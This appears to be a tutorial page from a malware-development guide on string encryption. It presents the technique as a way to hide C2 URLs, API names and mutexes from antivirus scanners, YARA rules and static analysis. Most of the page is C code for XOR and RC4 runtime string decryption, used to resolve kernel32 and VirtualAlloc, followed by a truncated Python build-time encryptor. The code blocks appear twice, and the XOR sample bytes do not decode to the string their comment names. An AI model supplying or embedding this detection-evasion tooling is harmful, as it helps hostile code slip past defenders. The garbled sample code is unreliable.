String Encryption
Overview
Static analysis tools, YARA rules, and antivirus scanners routinely search for plaintext strings that indicate malicious intent: registry paths, process names, C2 URLs, WinAPI names, and mutex names. String encryption removes these from the binary’s data sections entirely — the encrypted bytes look like random data to a scanner, and the plaintext only exists briefly in memory at runtime.
The simplest implementation XORs each string with a single-byte key. More robust implementations use RC4, AES, or chacha20 with a per-string key derived from the compile-time hash of the string itself. Build-time tooling (a Python script run as a pre-build step) automates the transformation so the developer writes plaintext in source code while the binary contains only ciphertext.
String encryption is a speed bump, not an absolute defence. A sandbox with memory scanning that captures a snapshot immediately after each API call will find the plaintext strings between decrypt and zero. The goal is to defeat static analysis, bulk YARA scanning, and less sophisticated dynamic analysis — not kernel-level introspection.
The call chain
- 1encrypt strings at build timeRun a pre-build script that encrypts all string literals and replaces them with encrypted byte arrays plus a decryption call.
- 2store encrypted bytes in .data / .rdataEncrypted arrays are indistinguishable from random data; no plaintext strings appear in the binary.
- 3decrypt on first useInline decrypt function XORs or RC4-decrypts the array into a stack buffer at runtime.
- 4zero the decrypted buffer after useSecureZeroMemory wipes the plaintext from the stack after the string has served its purpose — limits memory scan exposure.
Reference implementation
Single-byte XOR (simplest)
#include <windows.h>
#include <string.h>
#define XK 0x5A // XOR key — change per build
// Encrypted "kernel32.dll " (pre-computed with XK=0x5A)
static const BYTE ENC_KERNEL32[] = {
0x31,0x2B,0x37,0x3A,0x2B,0x36,0x5A,0x5A,0x26,0x36,0x36,0x00
};
// Decrypt into caller-supplied stack buffer, zero after use
#define DECRYPT_STR(enc, buf) do { for (size_t _i = 0; _i < sizeof(enc); _i++) (buf)[_i] = (enc)[_i] ^ XK; (buf)[sizeof(enc)-1] = 0; } while(0)
HMODULE get_kernel32_enc(void) {
char name[32] = {0};
DECRYPT_STR(ENC_KERNEL32, name);
HMODULE h = GetModuleHandleA(name);
SecureZeroMemory(name, sizeof name);
return h;
}#include <windows.h>
#include <string.h>
#define XK 0x5A // XOR key — change per build
// Encrypted "kernel32.dll " (pre-computed with XK=0x5A)
static const BYTE ENC_KERNEL32[] = {
0x31,0x2B,0x37,0x3A,0x2B,0x36,0x5A,0x5A,0x26,0x36,0x36,0x00
};
// Decrypt into caller-supplied stack buffer, zero after use
#define DECRYPT_STR(enc, buf) do { for (size_t _i = 0; _i < sizeof(enc); _i++) (buf)[_i] = (enc)[_i] ^ XK; (buf)[sizeof(enc)-1] = 0; } while(0)
HMODULE get_kernel32_enc(void) {
char name[32] = {0};
DECRYPT_STR(ENC_KERNEL32, name);
HMODULE h = GetModuleHandleA(name);
SecureZeroMemory(name, sizeof name);
return h;
}RC4-based string encryption (stronger)
#include <windows.h>
// Minimal RC4 — no standard library needed
static void rc4_crypt(const BYTE *key, DWORD klen, BYTE *data, DWORD dlen) {
BYTE S[256];
for (int i = 0; i < 256; i++) S[i] = (BYTE)i;
BYTE j = 0;
for (int i = 0; i < 256; i++) {
j = (j + S[i] + key[i % klen]) & 0xFF;
BYTE t = S[i]; S[i] = S[j]; S[j] = t;
}
BYTE i2 = 0; j = 0;
for (DWORD k = 0; k < dlen; k++) {
i2 = (i2 + 1) & 0xFF;
j = (j + S[i2]) & 0xFF;
BYTE t = S[i2]; S[i2] = S[j]; S[j] = t;
data[k] ^= S[(S[i2] + S[j]) & 0xFF];
}
}
// Per-string key derived from a seed (unique per build / per string)
#define STR_KEY(seed) {(BYTE)(seed), (BYTE)(seed>>8), (BYTE)(seed>>16), 0xDE, 0xAD}
// Encrypted "VirtualAlloc" — use the build tool to generate these
static const BYTE ENC_VA[] = { 0x4a,0x1b,0x3c,0x77,0x0e,0x91,0x2f,0x48,0x5c,0x17,0x3a,0x8e };
static const DWORD VA_SEED = 0xCAFEBABE;
FARPROC resolve_virtualalloc(HMODULE k32) {
BYTE key[] = STR_KEY(VA_SEED);
BYTE name[sizeof ENC_VA + 1];
memcpy(name, ENC_VA, sizeof ENC_VA);
rc4_crypt(key, sizeof key, name, sizeof ENC_VA);
name[sizeof ENC_VA] = 0;
FARPROC fp = GetProcAddress(k32, (char*)name);
SecureZeroMemory(name, sizeof name);
return fp;
}#include <windows.h>
// Minimal RC4 — no standard library needed
static void rc4_crypt(const BYTE *key, DWORD klen, BYTE *data, DWORD dlen) {
BYTE S[256];
for (int i = 0; i < 256; i++) S[i] = (BYTE)i;
BYTE j = 0;
for (int i = 0; i < 256; i++) {
j = (j + S[i] + key[i % klen]) & 0xFF;
BYTE t = S[i]; S[i] = S[j]; S[j] = t;
}
BYTE i2 = 0; j = 0;
for (DWORD k = 0; k < dlen; k++) {
i2 = (i2 + 1) & 0xFF;
j = (j + S[i2]) & 0xFF;
BYTE t = S[i2]; S[i2] = S[j]; S[j] = t;
data[k] ^= S[(S[i2] + S[j]) & 0xFF];
}
}
// Per-string key derived from a seed (unique per build / per string)
#define STR_KEY(seed) {(BYTE)(seed), (BYTE)(seed>>8), (BYTE)(seed>>16), 0xDE, 0xAD}
// Encrypted "VirtualAlloc" — use the build tool to generate these
static const BYTE ENC_VA[] = { 0x4a,0x1b,0x3c,0x77,0x0e,0x91,0x2f,0x48,0x5c,0x17,0x3a,0x8e };
static const DWORD VA_SEED = 0xCAFEBABE;
FARPROC resolve_virtualalloc(HMODULE k32) {
BYTE key[] = STR_KEY(VA_SEED);
BYTE name[sizeof ENC_VA + 1];
memcpy(name, ENC_VA, sizeof ENC_VA);
rc4_crypt(key, sizeof key, name, sizeof ENC_VA);
name[sizeof ENC_VA] = 0;
FARPROC fp = GetProcAddress(k32, (char*)name);
SecureZeroMemory(name, sizeof name);
return fp;
}Build-time encryption tool
#!/usr/bin/env python3 """ Pre-build string encryptor. Usage: python3 encrypt_strings.py strings.txt > encrypted_strings.h """ import sys, random, struct XOR_KEY = random.randint(0x20, 0xFF) def xor_encrypt(s, key): return bytes(b ^ key for b in (s + '